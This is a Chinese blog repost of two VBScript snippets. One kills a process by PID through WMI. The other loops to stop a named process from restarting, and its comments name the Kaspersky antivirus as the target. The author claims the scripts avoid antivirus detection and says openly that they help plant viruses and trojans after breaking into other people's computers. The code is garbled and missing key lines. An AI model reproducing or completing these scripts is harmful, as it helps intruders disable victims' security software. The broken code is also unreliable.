两个简易VBS脚本结束进程与防止进程启动
在一个百度空间看的，余弦函数  写的，它的文章不错，大家去看一下！
Kill.vbs用来在cmd下结束进程，Dis.vbs用来在窗口模式下防止某进程再次启动。这两个VBS都不会被杀毒软件KILL掉，并且有一定的隐蔽性……看代码！（'为注释）
Kill.vbs：复制内容到剪贴板代码:
for each ps in getobject _
("winmgmts:\\.\root\cimv2:win32_process").instances_ '涉及到WMI脚本入侵技术，我不能解释清楚！
if ps.handle=wscript.arguments(0) then  '判断进程的PID号是否与获得的PID号参数相等
end if
nextDis.vbs复制内容到剪贴板代码:
dim y,x '不要这行也行……
do '来个死循环……一直在判断！do ... loop内为循环体！
set y=getobject("winmgmts:\\.\root\cimv2") '和上面解释一样，这也是涉及到微软的WMI技术！
vbs脚本怎么停止set query("select * from win32_process where name=''")
'查询语句，where后判断（卡巴）是否存在进程中！
'这样当卡巴被上面的Kill.vbs结束时就再也启动不起来了。除非，把Dis.vbs结束了先……
for each i in x
next
wscript.sleep
loop解释够清楚了，那就来看看这两个vbs是如何工作的吧。我将Kill.vbs与Dis.vbs放在C盘根目录下。
打开cmd，输入cd\回到C盘根目录下，输入tasklist查看当前系统的进程情况，然后记下你想kill的进程的
PID号，输入cscript Kill.vbs 2200即可结束PID为2200的进程了！假如这个进程是，那你就可以输入Dis.vbs启动Dis.vbs来防止卡巴继续被启动。Dis.vbs启动时仅在任务管理器的进程中有进程项，要是不结束这个进程是无法再次启动卡巴的。
懂得这些，为以后入侵他人电脑后上传病毒、木马之类的就更方便了一点点……上面的所有过程都经本人试验成功了，继续完善……

版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198，我们将在24小时内删除。